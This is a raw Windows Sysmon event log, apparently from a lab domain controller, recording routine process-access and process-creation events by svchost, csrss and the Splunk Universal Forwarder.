09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002102Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002101Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002100Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002099Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002098Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002097Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002096Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002095Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D3-5F80-5B00-000000007F01}3716C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002094Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.543{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D3-5F80-5B00-000000007F01}3716C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+eef54|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ebd46|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002093Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.552{A5F018FF-28D3-5F80-5B00-000000007F01}3716C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002092Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.512{A5F018FF-28D3-5F80-5A00-000000007F01}37923804C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002091Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D3-5F80-5A00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002090Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002089Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002088Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002087Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002086Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002085Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002084Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002083Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002082Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D3-5F80-5A00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002081Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002080Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28D3-5F80-5900-000000007F01}37643736C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D3-5F80-5A00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002079Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.274{A5F018FF-28D3-5F80-5A00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D3-5F80-5900-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list general --no-log 10341000x80000000000000002078Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D3-5F80-5900-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002077Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:39.262{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002076Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 